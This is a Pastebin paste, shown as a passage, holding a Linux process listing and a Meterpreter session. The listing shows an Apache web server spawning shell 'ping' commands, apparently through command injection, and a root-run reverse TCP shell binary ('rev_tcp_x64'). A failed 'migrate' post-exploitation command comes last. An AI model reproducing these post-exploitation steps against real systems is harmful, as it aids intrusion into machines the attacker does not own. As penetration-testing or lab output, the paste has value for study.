  1447. 12464 12423 sh www-data sh -c ping 192.168.0.4 2>&1
  1448.  
  1449. 12465 12464 ping www-data ping 192.168.0.4
  1450. 12472 1071 apache2 www-data /usr/sbin/apache2 -k start
  1451. 12474 12472 sh www-data sh -c ping 192.168.0.4 > /tmp/pingout.txt 2>&1
  1452.  
  1453. 12475 12474 ping www-data ping 192.168.0.4
  1454. 13826 2 [loop3] root
  1455. 15313 2 [loop5] root
  1456. 25797 1180 sshd: root sshd: printer_25132 [priv]
  1457. 25799 1 systemd printer_25132 /lib/systemd/systemd --user
  1458. 25800 25799 (sd-pam) printer_25132 (sd-pam)
  1459. 25921 25797 sshd: printer_25132 sshd: printer_25132@pts/0
  1460. 25922 25921 -bash printer_25132 -bash
  1461. 25936 25922 sudo root sudo su
  1462. 25937 25936 su root su
  1463. 25938 25937 bash root bash
  1464. 25974 25938 bash root bash
  1465. 26021 25974 rev_tcp_x64 root ./rev_tcp_x64
  1466. 26391 2 [kworker/0:0] root
  1467. 26490 2 [loop4] root
  1468. 26523 1 snapd root /usr/lib/snapd/snapd
  1469. 31380 1071 apache2 www-data /usr/sbin/apache2 -k start
  1470. 31472 1071 apache2 www-data /usr/sbin/apache2 -k start
  1471. 31487 2 [kworker/u2:0] root
  1472. 31493 1071 apache2 www-data /usr/sbin/apache2 -k start
  1473. 31500 1071 apache2 www-data /usr/sbin/apache2 -k start
  1474. 31508 1071 apache2 www-data /usr/sbin/apache2 -k start
  1475. 31510 2 [kworker/0:2] root
  1476. 31518 1071 apache2 www-data /usr/sbin/apache2 -k start
  1477. 31528 1071 apache2 www-data /usr/sbin/apache2 -k start
  1478. 31529 31472 [sh] www-data
  1479. 31542 1 python www-data python ne0.py
  1480. 31546 2 [kworker/u2:1] root
  1481. 31619 1071 apache2 www-data /usr/sbin/apache2 -k start
  1482. 31626 1071 apache2 www-data /usr/sbin/apache2 -k start
  1483. 31633 1071 apache2 www-data /usr/sbin/apache2 -k start
  1484. 31640 1071 apache2 www-data /usr/sbin/apache2 -k start
  1485.  
  1486. meterpreter > migrate 919
  1487. [-] Error running command migrate: NoMethodError undefined method `pid' for nil:NilClass
  1488. meterpreter >
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!